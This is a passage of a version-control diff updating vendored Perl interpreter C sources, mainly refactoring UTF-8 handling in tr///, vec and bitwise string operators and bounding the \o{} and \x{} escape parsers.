-	    hibit = !NATIVE_BYTE_IS_INVARIANT(ch);
-	    if (hibit) {
-		s = bytes_to_utf8(s, &len);
-		break;
-	    }
+        hibit = ! is_utf8_invariant_string(s, len);
+        if (hibit) {
+            s = bytes_to_utf8(s, &len);
 	}
     }
     send = s + len;
@@ -399,13 +381,24 @@
     return matches;
 }
 
-STATIC I32
+
+/* Helper function for do_trans().
+ * Handles utf8 cases(*) where search and replacement charlists are
+ * identical: so the string isn't modified, and only a count of modifiable
+ * chars is needed.
+ * Note that it doesn't handle /d or /s, since these modify the string
+ * even if the replacement charlist is empty.
+ * (*) i.e. where the search or replacement charlists are utf8. sv may
+ * or may not be utf8.
+ */
+
+STATIC Size_t
 S_do_trans_count_utf8(pTHX_ SV * const sv)
 {
     const U8 *s;
     const U8 *start = NULL;
     const U8 *send;
-    I32 matches = 0;
+    Size_t matches = 0;
     STRLEN len;
     SV* const  rv =
 #ifdef USE_ITHREADS
@@ -423,15 +416,9 @@
 
     s = (const U8*)SvPV_nomg_const(sv, len);
     if (!SvUTF8(sv)) {
-	const U8 *t = s;
-	const U8 * const e = s + len;
-	while (t < e) {
-	    const U8 ch = *t++;
-	    hibit = !NATIVE_BYTE_IS_INVARIANT(ch);
-	    if (hibit) {
-		start = s = bytes_to_utf8(s, &len);
-		break;
-	    }
+        hibit = ! is_utf8_invariant_string(s, len);
+        if (hibit) {
+            start = s = bytes_to_utf8(s, &len);
 	}
     }
     send = s + len;
@@ -448,15 +435,23 @@
     return matches;
 }
 
-STATIC I32
+
+/* Helper function for do_trans().
+ * Handles utf8 cases(*) involving the /c, /d, /s flags,
+ * and where search and replacement charlists aren't identical.
+ * (*) i.e. where the search or replacement charlists are utf8. sv may
+ * or may not be utf8.
+ */
+
+STATIC Size_t
 S_do_trans_complex_utf8(pTHX_ SV * const sv)
 {
     U8 *start, *send;
     U8 *d;
-    I32 matches = 0;
-    const I32 squash   = PL_op->op_private & OPpTRANS_SQUASH;
-    const I32 del      = PL_op->op_private & OPpTRANS_DELETE;
-    const I32 grows    = PL_op->op_private & OPpTRANS_GROWS;
+    Size_t matches = 0;
+    const bool squash   = cBOOL(PL_op->op_private & OPpTRANS_SQUASH);
+    const bool del      = cBOOL(PL_op->op_private & OPpTRANS_DELETE);
+    const bool grows    = cBOOL(PL_op->op_private & OPpTRANS_GROWS);
     SV* const  rv =
 #ifdef USE_ITHREADS
 		    PAD_SVl(cPADOP->op_padix);
@@ -477,15 +472,9 @@
     PERL_ARGS_ASSERT_DO_TRANS_COMPLEX_UTF8;
 
     if (!SvUTF8(sv)) {
-	const U8 *t = s;
-	const U8 * const e = s + len;
-	while (t < e) {
-	    const U8 ch = *t++;
-	    hibit = !NATIVE_BYTE_IS_INVARIANT(ch);
-	    if (hibit) {
-		s = bytes_to_utf8(s, &len);
-		break;
-	    }
+        hibit = ! is_utf8_invariant_string(s, len);
+        if (hibit) {
+            s = bytes_to_utf8(s, &len);
 	}
     }
     send = s + len;
@@ -615,12 +604,19 @@
     return matches;
 }
 
-I32
+
+/* Execute a tr//. sv is the value to be translated, while PL_op
+ * should be an OP_TRANS or OP_TRANSR op, whose op_pv field contains a
+ * translation table or whose op_sv field contains a swash.
+ * Returns a count of number of characters translated
+ */
+
+Size_t
 Perl_do_trans(pTHX_ SV *sv)
 {
     STRLEN len;
-    const I32 flags = PL_op->op_private;
-    const I32 hasutf = flags & (OPpTRANS_FROM_UTF | OPpTRANS_TO_UTF);
+    const U8 flags = PL_op->op_private;
+    const U8 hasutf = flags & (OPpTRANS_FROM_UTF | OPpTRANS_TO_UTF);
 
     PERL_ARGS_ASSERT_DO_TRANS;
 
@@ -636,8 +632,6 @@
 	(void)SvPOK_only_UTF8(sv);
     }
 
-    DEBUG_t( Perl_deb(aTHX_ "2.TBL\n"));
-
     /* If we use only OPpTRANS_IDENTICAL to bypass the READONLY check,
      * we must also rely on it to choose the readonly strategy.
      */
@@ -717,7 +711,7 @@
 }
 
 void
-Perl_do_sprintf(pTHX_ SV *sv, I32 len, SV **sarg)
+Perl_do_sprintf(pTHX_ SV *sv, SSize_t len, SV **sarg)
 {
     STRLEN patlen;
     const char * const pat = SvPV_const(*sarg, patlen);
@@ -724,6 +718,7 @@
     bool do_taint = FALSE;
 
     PERL_ARGS_ASSERT_DO_SPRINTF;
+    assert(len >= 1);
 
     if (SvTAINTED(*sarg))
 	TAINT_PROPER(
@@ -736,7 +731,7 @@
     SvUTF8_off(sv);
     if (DO_UTF8(*sarg))
         SvUTF8_on(sv);
-    sv_vsetpvfn(sv, pat, patlen, NULL, sarg + 1, len - 1, &do_taint);
+    sv_vsetpvfn(sv, pat, patlen, NULL, sarg + 1, (Size_t)(len - 1), &do_taint);
     SvSETMAGIC(sv);
     if (do_taint)
 	SvTAINTED_on(sv);
@@ -763,9 +758,16 @@
 	Perl_croak(aTHX_ "Illegal number of bits in vec");
 
     if (SvUTF8(sv)) {
-	(void) Perl_sv_utf8_downgrade(aTHX_ sv, TRUE);
-        /* PVX may have changed */
-        s = (unsigned char *) SvPV_flags(sv, srclen, svpv_flags);
+	if (Perl_sv_utf8_downgrade(aTHX_ sv, TRUE)) {
+            /* PVX may have changed */
+            s = (unsigned char *) SvPV_flags(sv, srclen, svpv_flags);
+        }
+        else {
+            Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED),
+                                "Use of strings with code points over 0xFF as"
+                                " arguments to vec is deprecated. This will"
+                                " be a fatal error in Perl 5.32");
+        }
     }
 
     if (size < 8) {
@@ -920,8 +922,8 @@
     /* some out-of-range errors have been deferred if/until the LV is
      * actually written to: f(vec($s,-1,8)) is not always fatal */
     if (errflags) {
-        assert(!(errflags & ~(1|4)));
-        if (errflags & 1)
+        assert(!(errflags & ~(LVf_NEG_OFF|LVf_OUT_OF_RANGE)));
+        if (errflags & LVf_NEG_OFF)
             Perl_croak_nocontext("Negative offset to vec in lvalue context");
         Perl_croak_nocontext("Out of memory!");
     }
@@ -1016,14 +1018,20 @@
     STRLEN rightlen;
     const char *lc;
     const char *rc;
-    STRLEN len;
+    STRLEN len = 0;
     STRLEN lensave;
     const char *lsave;
     const char *rsave;
-    bool left_utf;
-    bool right_utf;
-    bool do_warn_above_ff = ckWARN_d(WARN_DEPRECATED);
     STRLEN needlen = 0;
+    bool result_needs_to_be_utf8 = FALSE;
+    bool left_utf8 = FALSE;
+    bool right_utf8 = FALSE;
+    U8 * left_non_downgraded = NULL;
+    U8 * right_non_downgraded = NULL;
+    Size_t left_non_downgraded_len = 0;
+    Size_t right_non_downgraded_len = 0;
+    char * non_downgraded = NULL;
+    Size_t non_downgraded_len = 0;
 
     PERL_ARGS_ASSERT_DO_VOP;
 
@@ -1030,52 +1038,96 @@
     if (sv != left || (optype != OP_BIT_AND && !SvOK(sv)))
         SvPVCLEAR(sv);        /* avoid undef warning on |= and ^= */
     if (sv == left) {
-	lsave = lc = SvPV_force_nomg(left, leftlen);
+	lc = SvPV_force_nomg(left, leftlen);
     }
     else {
-	lsave = lc = SvPV_nomg_const(left, leftlen);
+	lc = SvPV_nomg_const(left, leftlen);
 	SvPV_force_nomg_nolen(sv);
     }
-    rsave = rc = SvPV_nomg_const(right, rightlen);
+    rc = SvPV_nomg_const(right, rightlen);
 
     /* This needs to come after SvPV to ensure that string overloading has
        fired off.  */
 
-    left_utf = DO_UTF8(left);
-    right_utf = DO_UTF8(right);
+    /* Create downgraded temporaries of any UTF-8 encoded operands */
+    if (DO_UTF8(left)) {
+        const U8 * save_lc = (U8 *) lc;
 
-    if (left_utf && !right_utf) {
-	/* Avoid triggering overloading again by using temporaries.
-	   Maybe there should be a variant of sv_utf8_upgrade that takes pvn
-	*/
-	right = newSVpvn_flags(rsave, rightlen, SVs_TEMP);
-	sv_utf8_upgrade(right);
-	rsave = rc = SvPV_nomg_const(right, rightlen);
-	right_utf = TRUE;
+        left_utf8 = TRUE;
+        result_needs_to_be_utf8 = TRUE;
+
+        left_non_downgraded_len = leftlen;
+        lc = (char *) bytes_from_utf8_loc((const U8 *) lc, &leftlen,
+                                          &left_utf8,
+                                          (const U8 **) &left_non_downgraded);
+        /* Calculate the number of trailing unconvertible bytes.  This quantity
+         * is the original length minus the length of the converted portion. */
+        left_non_downgraded_len -= left_non_downgraded - save_lc;
+        SAVEFREEPV(lc);
     }
-    else if (!left_utf && right_utf) {
-	left = newSVpvn_flags(lsave, leftlen, SVs_TEMP);
-	sv_utf8_upgrade(left);
-	lsave = lc = SvPV_nomg_const(left, leftlen);
-	left_utf = TRUE;
+    if (DO_UTF8(right)) {
+        const U8 * save_rc = (U8 *) rc;
+
+        right_utf8 = TRUE;
+        result_needs_to_be_utf8 = TRUE;
+
+        right_non_downgraded_len = rightlen;
+        rc = (char *) bytes_from_utf8_loc((const U8 *) rc, &rightlen,
+                                          &right_utf8,
+                                          (const U8 **) &right_non_downgraded);
+        right_non_downgraded_len -= right_non_downgraded - save_rc;
+        SAVEFREEPV(rc);
     }
 
-    len = leftlen < rightlen ? leftlen : rightlen;
+    /* We set 'len' to the length that the operation actually operates on.  The
+     * dangling part of the longer operand doesn't actually participate in the
+     * operation.  What happens is that we pretend that the shorter operand has
+     * been extended to the right by enough imaginary zeros to match the length
+     * of the longer one.  But we know in advance the result of the operation
+     * on zeros without having to do it.  In the case of '&', the result is
+     * zero, and the dangling portion is simply discarded.  For '|' and '^', the
+     * result is the same as the other operand, so the dangling part is just
+     * appended to the final result, unchanged.  We currently accept above-FF
+     * code points in the dangling portion, as that's how it has long worked,
+     * and code depends on it staying that way.  But it is now fatal for
+     * above-FF to appear in the portion that does get operated on.  Hence, any
+     * above-FF must come only in the longer operand, and only in its dangling
+     * portion.  That means that at least one of the operands has to be
+     * entirely non-UTF-8, and the length of that operand has to be before the
+     * first above-FF in the other */
+    if (left_utf8 || right_utf8) {
+        if (left_utf8) {
+            if (right_utf8 || rightlen > leftlen) {
+                Perl_croak(aTHX_ FATAL_ABOVE_FF_MSG, PL_op_desc[optype]);
+            }
+            len = rightlen;
+        }
+        else if (right_utf8) {
+            if (leftlen > rightlen) {
+                Perl_croak(aTHX_ FATAL_ABOVE_FF_MSG, PL_op_desc[optype]);
+            }
+            len = leftlen;
+        }
+
+        Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED),
+                               DEPRECATED_ABOVE_FF_MSG, PL_op_desc[optype]);
+    }
+    else {  /* Neither is UTF-8 */
+        len = MIN(leftlen, rightlen);
+    }
+
     lensave = len;
+    lsave = lc;
+    rsave = rc;
+
     SvCUR_set(sv, len);
     (void)SvPOK_only(sv);
-    if ((left_utf || right_utf) && (sv == left || sv == right)) {
-	needlen = optype == OP_BIT_AND ? len : leftlen + rightlen;
-	Newxz(dc, needlen + 1, char);
-    }
-    else if (SvOK(sv) || SvTYPE(sv) > SVt_PVMG) {
+    if (SvOK(sv) || SvTYPE(sv) > SVt_PVMG) {
 	dc = SvPV_force_nomg_nolen(sv);
 	if (SvLEN(sv) < len + 1) {
 	    dc = SvGROW(sv, len + 1);
 	    (void)memzero(dc + SvCUR(sv), len - SvCUR(sv) + 1);
 	}
-	if (optype != OP_BIT_AND && (left_utf || right_utf))
-	    dc = SvGROW(sv, leftlen + rightlen + 1);
     }
     else {
 	needlen = optype == OP_BIT_AND
@@ -1084,100 +1136,7 @@
 	sv_usepvn_flags(sv, dc, needlen, SV_HAS_TRAILING_NUL);
 	dc = SvPVX(sv);		/* sv_usepvn() calls Renew() */
     }
-    if (left_utf || right_utf) {
-	char *dcorig = dc;
-	char *dcsave = NULL;
-	STRLEN lulen = leftlen;
-	STRLEN rulen = rightlen;
 
-	switch (optype) {
-	case OP_BIT_AND:
-	    while (lulen && rulen) {
-                UV duc, luc, ruc;
-                STRLEN ulen;
-		luc = utf8n_to_uvchr((U8*)lc, lulen, &ulen, UTF8_ALLOW_ANYUV);
-		lc += ulen;
-		lulen -= ulen;
-		ruc = utf8n_to_uvchr((U8*)rc, rulen, &ulen, UTF8_ALLOW_ANYUV);
-		rc += ulen;
-		rulen -= ulen;
-		duc = luc & ruc;
-		dc = (char*)uvchr_to_utf8((U8*)dc, duc);
-                if (do_warn_above_ff && (luc > 0xff || ruc > 0xff)) {
-                    Perl_warner(aTHX_ packWARN(WARN_DEPRECATED),
-                                deprecated_above_ff_msg, PL_op_desc[optype]);
-                    /* Warn only once per operation */
-                    do_warn_above_ff = FALSE;
-                }
-	    }
-	    if (sv == left || sv == right)
-		(void)sv_usepvn(sv, dcorig, needlen);
-	    SvCUR_set(sv, dc - dcorig);
-	    *SvEND(sv) = 0;
-	    break;
-	case OP_BIT_XOR:
-	    while (lulen && rulen) {
-                UV duc, luc, ruc;
-                STRLEN ulen;
-		luc = utf8n_to_uvchr((U8*)lc, lulen, &ulen, UTF8_ALLOW_ANYUV);
-		lc += ulen;
-		lulen -= ulen;
-		ruc = utf8n_to_uvchr((U8*)rc, rulen, &ulen, UTF8_ALLOW_ANYUV);
-		rc += ulen;
-		rulen -= ulen;
-		duc = luc ^ ruc;
-		dc = (char*)uvchr_to_utf8((U8*)dc, duc);
-                if (do_warn_above_ff && (luc > 0xff || ruc > 0xff)) {
-                    Perl_warner(aTHX_ packWARN(WARN_DEPRECATED),
-                                deprecated_above_ff_msg, PL_op_desc[optype]);
-                    do_warn_above_ff = FALSE;
-                }
-	    }
-	    goto mop_up_utf;
-	case OP_BIT_OR:
-	    while (lulen && rulen) {
-                UV duc, luc, ruc;
-                STRLEN ulen;
-		luc = utf8n_to_uvchr((U8*)lc, lulen, &ulen, UTF8_ALLOW_ANYUV);
-		lc += ulen;
-		lulen -= ulen;
-		ruc = utf8n_to_uvchr((U8*)rc, rulen, &ulen, UTF8_ALLOW_ANYUV);
-		rc += ulen;
-		rulen -= ulen;
-		duc = luc | ruc;
-		dc = (char*)uvchr_to_utf8((U8*)dc, duc);
-                if (do_warn_above_ff && (luc > 0xff || ruc > 0xff)) {
-                    Perl_warner(aTHX_ packWARN(WARN_DEPRECATED),
-                                deprecated_above_ff_msg, PL_op_desc[optype]);
-                    do_warn_above_ff = FALSE;
-                }
-	    }
-	  mop_up_utf:
-	    if (rulen)
-		dcsave = savepvn(rc, rulen);
-	    else if (lulen)
-		dcsave = savepvn(lc, lulen);
-	    if (sv == left || sv == right)
-		(void)sv_usepvn(sv, dcorig, needlen); /* uses Renew(); defaults to nomg */
-	    SvCUR_set(sv, dc - dcorig);
-	    if (rulen)
-		sv_catpvn_nomg(sv, dcsave, rulen);
-	    else if (lulen)
-		sv_catpvn_nomg(sv, dcsave, lulen);
-	    else
-		*SvEND(sv) = '\0';
-	    Safefree(dcsave);
-	    break;
-	default:
-	    if (sv == left || sv == right)
-		Safefree(dcorig);
-	    Perl_croak(aTHX_ "panic: do_vop called for op %u (%s)",
-			(unsigned)optype, PL_op_name[optype]);
-	}
-	SvUTF8_on(sv);
-	goto finish;
-    }
-    else
 #ifdef LIBERAL
     if (len >= sizeof(long)*4 &&
 	!((unsigned long)dc % sizeof(long)) &&
@@ -1224,45 +1183,71 @@
 	len = remainder;
     }
 #endif
-    {
-	switch (optype) {
-	case OP_BIT_AND:
-	    while (len--)
-		*dc++ = *lc++ & *rc++;
-	    *dc = '\0';
-	    break;
-	case OP_BIT_XOR:
-	    while (len--)
-		*dc++ = *lc++ ^ *rc++;
-	    goto mop_up;
-	case OP_BIT_OR:
-	    while (len--)
-		*dc++ = *lc++ | *rc++;
-	  mop_up:
-	    len = lensave;
-	    if (rightlen > len) {
-                if (dc == rc)
-                    SvCUR(sv) = rightlen;
-                else
-                    sv_catpvn_nomg(sv, rsave + len, rightlen - len);
-            }
-            else if (leftlen > len) {
-                if (dc == lc)
-                    SvCUR(sv) = leftlen;
-                else
-                    sv_catpvn_nomg(sv, lsave + len, leftlen - len);
-            }
-            *SvEND(sv) = '\0';
+    switch (optype) {
+    case OP_BIT_AND:
+        while (len--)
+            *dc++ = *lc++ & *rc++;
+        *dc = '\0';
+        break;
+    case OP_BIT_XOR:
+        while (len--)
+            *dc++ = *lc++ ^ *rc++;
+        goto mop_up;
+    case OP_BIT_OR:
+        while (len--)
+            *dc++ = *lc++ | *rc++;
+      mop_up:
+        len = lensave;
+        if (rightlen > len) {
+            if (dc == rc)
+                SvCUR(sv) = rightlen;
+            else
+                sv_catpvn_nomg(sv, rsave + len, rightlen - len);
+        }
+        else if (leftlen > len) {
+            if (dc == lc)
+                SvCUR(sv) = leftlen;
+            else
+                sv_catpvn_nomg(sv, lsave + len, leftlen - len);
+        }
+        *SvEND(sv) = '\0';
 
-	    break;
-	}
+        /* If there is trailing stuff that couldn't be converted from UTF-8, it
+         * is appended as-is for the ^ and | operators.  This preserves
+         * backwards compatibility */
+        if (right_non_downgraded) {
+            non_downgraded = (char *) right_non_downgraded;
+            non_downgraded_len = right_non_downgraded_len;
+        }
+        else if (left_non_downgraded) {
+            non_downgraded = (char *) left_non_downgraded;
+            non_downgraded_len = left_non_downgraded_len;
+        }
+
+        break;
     }
-  finish:
+
+    if (result_needs_to_be_utf8) {
+        sv_utf8_upgrade_nomg(sv);
+
+        /* Append any trailing UTF-8 as-is. */
+        if (non_downgraded) {
+            sv_catpvn_nomg(sv, non_downgraded, non_downgraded_len);
+        }
+    }
+
     SvTAINT(sv);
 }
 
 
-/* used for: pp_keys(), pp_values() */
+/* Perl_do_kv() may be:
+ *  * called directly as the pp function for pp_keys() and pp_values();
+ *  * It may also be called directly when the op is OP_AVHVSWITCH, to
+ *       implement CORE::keys(), CORE::values().
+ *
+ * In all cases it expects an HV on the stack and returns a list of keys,
+ * values, or key-value pairs, depending on PL_op.
+ */
 
 OP *
 Perl_do_kv(pTHX)
@@ -1269,18 +1254,25 @@
 {
     dSP;
     HV * const keys = MUTABLE_HV(POPs);
-    HE *entry;
-    SSize_t extend_size;
     const U8 gimme = GIMME_V;
-    const I32 dokv =     (PL_op->op_type == OP_RV2HV || PL_op->op_type == OP_PADHV);
-    /* op_type is OP_RKEYS/OP_RVALUES if pp_rkeys delegated to here */
-    const I32 dokeys =   dokv || (PL_op->op_type == OP_KEYS)
-	|| (  PL_op->op_type == OP_AVHVSWITCH
-	   && (PL_op->op_private & 3) + OP_EACH == OP_KEYS  );
-    const I32 dovalues = dokv || (PL_op->op_type == OP_VALUES)
-	|| (  PL_op->op_type == OP_AVHVSWITCH
-	   && (PL_op->op_private & 3) + OP_EACH == OP_VALUES  );
 
+    const I32 dokeys   =     (PL_op->op_type == OP_KEYS)
+                          || (    PL_op->op_type == OP_AVHVSWITCH
+                              && (PL_op->op_private & OPpAVHVSWITCH_MASK)
+                                    + OP_EACH == OP_KEYS);
+
+    const I32 dovalues =     (PL_op->op_type == OP_VALUES)
+                          || (    PL_op->op_type == OP_AVHVSWITCH
+                              && (PL_op->op_private & OPpAVHVSWITCH_MASK)
+                                     + OP_EACH == OP_VALUES);
+
+    assert(   PL_op->op_type == OP_KEYS
+           || PL_op->op_type == OP_VALUES
+           || PL_op->op_type == OP_AVHVSWITCH);
+
+    assert(!(    PL_op->op_type == OP_VALUES
+             && (PL_op->op_private & OPpMAYBE_LVSUB)));
+
     (void)hv_iterinit(keys);	/* always reset iterator regardless */
 
     if (gimme == G_VOID)
@@ -1298,6 +1290,11 @@
 	    IV i;
 	    dTARGET;
 
+            /* note that in 'scalar(keys %h)' the OP_KEYS is usually
+             * optimised away and the action is performed directly by the
+             * padhv or rv2hv op. We now only get here via OP_AVHVSWITCH
+             * and \&CORE::keys
+             */
 	    if (! SvTIED_mg((const SV *)keys, PERL_MAGIC_tied) ) {
 		i = HvUSEDKEYS(keys);
 	    }
@@ -1317,26 +1314,9 @@
 	    Perl_croak(aTHX_ "Can't modify keys in list assignment");
     }
 
-    /* 2*HvUSEDKEYS() should never be big enough to truncate or wrap */
-    assert(HvUSEDKEYS(keys) <= (SSize_t_MAX >> 1));
-    extend_size = (SSize_t)HvUSEDKEYS(keys) * (dokeys + dovalues);
-    EXTEND(SP, extend_size);
-
-    while ((entry = hv_iternext(keys))) {
-	if (dokeys) {
-	    SV* const sv = hv_iterkeysv(entry);
-	    XPUSHs(sv);
-	}
-	if (dovalues) {
-	    SV *tmpstr = hv_iterval(keys,entry);
-	    DEBUG_H(Perl_sv_setpvf(aTHX_ tmpstr, "%lu%%%d=%lu",
-			    (unsigned long)HeHASH(entry),
-			    (int)HvMAX(keys)+1,
-			    (unsigned long)(HeHASH(entry) & HvMAX(keys))));
-	    XPUSHs(tmpstr);
-	}
-    }
-    RETURN;
+    PUTBACK;
+    hv_pushkv(keys, (dokeys | (dovalues << 1)));
+    return NORMAL;
 }
 
 /*

Modified: vendor/perl/dist/dosish.h
===================================================================
--- vendor/perl/dist/dosish.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dosish.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -32,29 +32,26 @@
 #  define PERL_FS_VERSION	STRINGIFY(PERL_REVISION) "_" \
 				STRINGIFY(PERL_VERSION) "_" \
 				STRINGIFY(PERL_SUBVERSION)
-#else	/* DJGPP */
-#  ifdef WIN32
-#    define PERL_SYS_INIT_BODY(c,v)					\
-	MALLOC_CHECK_TAINT2(*c,*v) Perl_win32_init(c,v); PERLIO_INIT
-#    define PERL_SYS_TERM_BODY()   Perl_win32_term()
-#    define BIT_BUCKET "nul"
-#  else
-#	 ifdef NETWARE
-#      define PERL_SYS_INIT_BODY(c,v)					\
-	MALLOC_CHECK_TAINT2(*c,*v) Perl_nw5_init(c,v); PERLIO_INIT
-#      define BIT_BUCKET "nwnul"
-#    else
-#      define PERL_SYS_INIT_BODY(c,v)		\
-	MALLOC_CHECK_TAINT2(*c,*v); PERLIO_INIT
-#      define BIT_BUCKET "\\dev\\nul" /* "wanna be like, umm, Newlined, or somethin?" */
-#    endif /* NETWARE */
-#  endif
-#endif	/* DJGPP */
+#elif defined(WIN32)
+#  define PERL_SYS_INIT_BODY(c,v)					\
+      MALLOC_CHECK_TAINT2(*c,*v) Perl_win32_init(c,v); PERLIO_INIT
+#  define PERL_SYS_TERM_BODY()   Perl_win32_term()
+#  define BIT_BUCKET "nul"
+#elif defined(NETWARE)
+#  define PERL_SYS_INIT_BODY(c,v)					\
+    MALLOC_CHECK_TAINT2(*c,*v) Perl_nw5_init(c,v); PERLIO_INIT
+#  define BIT_BUCKET "nwnul"
+#else
+#  define PERL_SYS_INIT_BODY(c,v)		\
+    MALLOC_CHECK_TAINT2(*c,*v); PERLIO_INIT
+#  define BIT_BUCKET "\\dev\\nul" /* "wanna be like, umm, Newlined, or somethin?" */
+#endif
 
 #ifndef PERL_SYS_TERM_BODY
-#  define PERL_SYS_TERM_BODY()                              \
-    HINTS_REFCNT_TERM; OP_CHECK_MUTEX_TERM;                 \
-    OP_REFCNT_TERM; PERLIO_TERM; MALLOC_TERM; LOCALE_TERM;
+#  define PERL_SYS_TERM_BODY()                         \
+    HINTS_REFCNT_TERM; KEYWORD_PLUGIN_MUTEX_TERM;      \
+    OP_CHECK_MUTEX_TERM; OP_REFCNT_TERM; PERLIO_TERM;  \
+    MALLOC_TERM; LOCALE_TERM;
 #endif
 #define dXSUB_SYS dNOOP
 
@@ -73,14 +70,12 @@
  *	information.
  */
 #if defined(WIN64) || defined(USE_LARGE_FILES)
-#define Stat_t struct _stati64
+#  define Stat_t struct _stati64
+#elif defined(UNDER_CE)
+#  define Stat_t struct xcestat
 #else
-#if defined(UNDER_CE)
-#define Stat_t struct xcestat
-#else
-#define Stat_t struct stat
+#  define Stat_t struct stat
 #endif
-#endif
 
 /* USE_STAT_RDEV:
  *	This symbol is defined if this system has a stat structure declaring

Modified: vendor/perl/dist/dquote.c
===================================================================
--- vendor/perl/dist/dquote.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dquote.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -56,7 +56,8 @@
 }
 
 bool
-Perl_grok_bslash_o(pTHX_ char **s, UV *uv, const char** error_msg,
+Perl_grok_bslash_o(pTHX_ char **s, const char * const send, UV *uv,
+                      const char** error_msg,
                       const bool output_warning, const bool strict,
                       const bool silence_non_portable,
                       const bool UTF)
@@ -68,13 +69,16 @@
  *  It guarantees that the returned codepoint, *uv, when expressed as
  *  utf8 bytes, would fit within the skipped "\o{...}" bytes.
  *  On input:
- *	s   is the address of a pointer to a NULL terminated string that begins
- *	    with 'o', and the previous character was a backslash.  At exit, *s
- *	    will be advanced to the byte just after those absorbed by this
- *	    function.  Hence the caller can continue parsing from there.  In
- *	    the case of an error, this routine has generally positioned *s to
- *	    point just to the right of the first bad spot, so that a message
- *	    that has a "<--" to mark the spot will be correctly positioned.
+ *	s   is the address of a pointer to a string.  **s is 'o', and the
+ *	    previous character was a backslash.  At exit, *s will be advanced
+ *	    to the byte just after those absorbed by this function.  Hence the
+ *	    caller can continue parsing from there.  In the case of an error,
+ *	    this routine has generally positioned *s to point just to the right
+ *	    of the first bad spot, so that a message that has a "<--" to mark
+ *	    the spot will be correctly positioned.
+ *	send - 1  gives a limit in *s that this function is not permitted to
+ *	    look beyond.  That is, the function may look at bytes only in the
+ *	    range *s..send-1
  *	uv  points to a UV that will hold the output value, valid only if the
  *	    return from the function is TRUE
  *      error_msg is a pointer that will be set to an internal buffer giving an
@@ -96,15 +100,10 @@
 		 * ourselves */
 	        | PERL_SCAN_SILENT_ILLDIGIT;
 
-#ifdef DEBUGGING
-    char *start = *s - 1;
-    assert(*start == '\\');
-#endif
-
     PERL_ARGS_ASSERT_GROK_BSLASH_O;
 
-
-    assert(**s == 'o');
+    assert(*(*s - 1) == '\\');
+    assert(* *s       == 'o');
     (*s)++;
 
     if (**s != '{') {
@@ -112,7 +111,7 @@
 	return FALSE;
     }
 
-    e = strchr(*s, '}');
+    e = (char *) memchr(*s, '}', send - *s);
     if (!e) {
         (*s)++;  /* Move past the '{' */
         while (isOCTAL(**s)) { /* Position beyond the legal digits */
@@ -163,7 +162,8 @@
 }
 
 bool
-Perl_grok_bslash_x(pTHX_ char **s, UV *uv, const char** error_msg,
+Perl_grok_bslash_x(pTHX_ char **s, const char * const send, UV *uv,
+                      const char** error_msg,
                       const bool output_warning, const bool strict,
                       const bool silence_non_portable,
                       const bool UTF)
@@ -176,13 +176,16 @@
  *  utf8 bytes, would fit within the skipped "\x{...}" bytes.
  *
  *  On input:
- *	s   is the address of a pointer to a NULL terminated string that begins
- *	    with 'x', and the previous character was a backslash.  At exit, *s
- *	    will be advanced to the byte just after those absorbed by this
- *	    function.  Hence the caller can continue parsing from there.  In
- *	    the case of an error, this routine has generally positioned *s to
- *	    point just to the right of the first bad spot, so that a message
- *	    that has a "<--" to mark the spot will be correctly positioned.
+ *	s   is the address of a pointer to a string.  **s is 'x', and the
+ *	    previous character was a backslash.  At exit, *s will be advanced
+ *	    to the byte just after those absorbed by this function.  Hence the
+ *	    caller can continue parsing from there.  In the case of an error,
+ *	    this routine has generally positioned *s to point just to the right
+ *	    of the first bad spot, so that a message that has a "<--" to mark
+ *	    the spot will be correctly positioned.
+ *	send - 1  gives a limit in *s that this function is not permitted to
+ *	    look beyond.  That is, the function may look at bytes only in the
+ *	    range *s..send-1
  *	uv  points to a UV that will hold the output value, valid only if the
  *	    return from the function is TRUE
  *      error_msg is a pointer that will be set to an internal buffer giving an
@@ -201,14 +204,12 @@
     char* e;
     STRLEN numbers_len;
     I32 flags = PERL_SCAN_DISALLOW_PREFIX;
-#ifdef DEBUGGING
-    char *start = *s - 1;
-    assert(*start == '\\');
-#endif
 
+
     PERL_ARGS_ASSERT_GROK_BSLASH_X;
 
-    assert(**s == 'x');
+    assert(*(*s - 1) == '\\');
+    assert(* *s      == 'x');
     (*s)++;
 
     if (strict || ! output_warning) {
@@ -233,7 +234,7 @@
 	return TRUE;
     }
 
-    e = strchr(*s, '}');
+    e = (char *) memchr(*s, '}', send - *s);
     if (!e) {
         (*s)++;  /* Move past the '{' */
         while (isXDIGIT(**s)) { /* Position beyond the legal digits */

Modified: vendor/perl/dist/dquote_inline.h
===================================================================
--- vendor/perl/dist/dquote_inline.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dquote_inline.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,8 +6,8 @@
  *    License or the Artistic License, as specified in the README file.
  */
 
-#ifndef DQUOTE_INLINE_H /* Guard against nested #inclusion */
-#define DQUOTE_INLINE_H
+#ifndef PERL_DQUOTE_INLINE_H_ /* Guard against nested #inclusion */
+#define PERL_DQUOTE_INLINE_H_
 
 /*
  - regcurly - a little FSA that accepts {\d+,?\d*}
@@ -64,4 +64,4 @@
                      (int) (s - sans_leading_zeros), sans_leading_zeros,
                      *s);
 }
-#endif  /* DQUOTE_INLINE_H */
+#endif  /* PERL_DQUOTE_INLINE_H_ */

Modified: vendor/perl/dist/dump.c
===================================================================
--- vendor/perl/dist/dump.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dump.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -369,7 +369,9 @@
 	sv_catpv(t, "WILD");
 	goto finish;
     }
-    else if (sv == &PL_sv_undef || sv == &PL_sv_no || sv == &PL_sv_yes || sv == &PL_sv_placeholder) {
+    else if (  sv == &PL_sv_undef || sv == &PL_sv_no || sv == &PL_sv_yes
+            || sv == &PL_sv_zero || sv == &PL_sv_placeholder)
+    {
 	if (sv == &PL_sv_undef) {
 	    sv_catpv(t, "SV_UNDEF");
 	    if (!(SvFLAGS(sv) & (SVf_OK|SVf_OOK|SVs_OBJECT|
@@ -398,6 +400,17 @@
 		SvNVX(sv) == 1.0)
 		goto finish;
 	}
+	else if (sv == &PL_sv_zero) {
+	    sv_catpv(t, "SV_ZERO");
